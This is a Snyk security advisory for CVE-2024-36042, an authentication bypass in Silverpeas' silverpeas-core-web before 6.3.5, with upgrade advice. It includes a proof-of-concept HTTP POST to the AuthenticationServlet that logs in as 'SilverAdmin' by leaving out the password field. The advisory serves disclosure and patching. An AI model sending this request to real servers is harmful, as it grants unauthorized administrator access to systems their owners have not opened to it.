Improper Authentication Affecting org.silverpeas.core:silverpeas-core-web package, versions [,6.3.5)


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Recommended
0.0
high
0
10

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  • Snyk IDSNYK-JAVA-ORGSILVERPEASCORE-7210307
  • published5 Jun 2024
  • disclosed3 Jun 2024
  • creditUnknown

Introduced: 3 Jun 2024

CVE-2024-36042  (opens in a new tab)
CWE-287  (opens in a new tab)

How to fix?

Upgrade org.silverpeas.core:silverpeas-core-web to version 6.3.5 or higher.

Overview

org.silverpeas.core:silverpeas-core-web is a WEB platform that improves the collaboration between the actors of a company or organization.

Affected versions of this package are vulnerable to Improper Authentication via the AuthenticationServlet. An attacker can gain unauthorized access and potentially obtain superadmin privileges by omitting the Password field during the authentication process.

PoC


POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded

Login=SilverAdmin&DomainId=0

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